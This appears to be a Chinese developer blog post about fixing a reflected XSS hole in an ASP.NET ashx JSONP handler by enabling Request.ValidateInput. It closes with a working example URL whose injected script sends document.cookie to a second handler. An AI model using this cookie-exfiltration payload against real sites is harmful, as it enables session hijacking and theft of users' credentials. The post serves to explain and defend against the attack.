首先,给大家贴出解决方案,很简单,只需要加一句代码就OK。
最近项目中做了一个ashx的页面向其他人提供一个ajax的接口,接口调用使用到了jsonp的方式,当时也没考虑太多,直接将接收到的参数原样写回到了客户端。
项目上线之后,公司安全的就呼叫我了,说这个页面没有防止跨站攻击(XSS),说可以通过什么NC反弹工具,获取用户的cookie什么的。把偶搞得云里雾里的。
今天看了一下网上的跨站攻击资料,恍然大悟,不就是.net普通页面aspx默认就有的那个什么客户端输入值验证嘛。
我们经常的用到网页富文本编辑器的时候出现这个错误
不就是.net默认在防止XSS攻击吗?
既然.NET有进行XSS攻击验证的功能,那么在ashx页面上应该也是可以实现的,不用太复杂的去自己过滤那些特殊字符,而且我也不知道到底有哪些字符需要过滤。
查MSDN,找到一个函数。
HttpRequest..::.ValidateInput 方法
MSDN描述如下:
HttpRequest 类使用输入验证标志来跟踪是否对通过 Cookies、Form 和QueryString 属性访问的请求集合执行验证。ValidateInput 方法设置这些标志,以便在调用Cookies、Form 或 QueryString 属性的 get 访问器时执行输入验证。验证的工作原理是,将所有输入数据与具有潜在危险的数据的硬编码列表进行对照检查。
如果页指令或配置启用了验证功能,则在页的 ProcessRequest 处理阶段调用此方法。如果未启用验证功能,则可通过代码调用ValidateInput 方法。
SO:我在页面加了一句
好了,后面在使用context.Request.QueryString["id"];获取URL参数的时候,有特殊字符的时候程序就会提示有潜在危险而报出异常了。
ASP.NET 4.0中使用FreeTextBox和FCKeditor遇到安全问题警告的解决办法
最后附上一段XSS攻击例子,简单易懂,不像公司那坑爹的安全组说的什么NC反弹,搞得哥云里雾里
http://localhost:20322/Handler1.ashx?id=<script>window.location.href='http://localhost:20322/Handler2.ashx?cookie='%2bdocument.cookie;</script>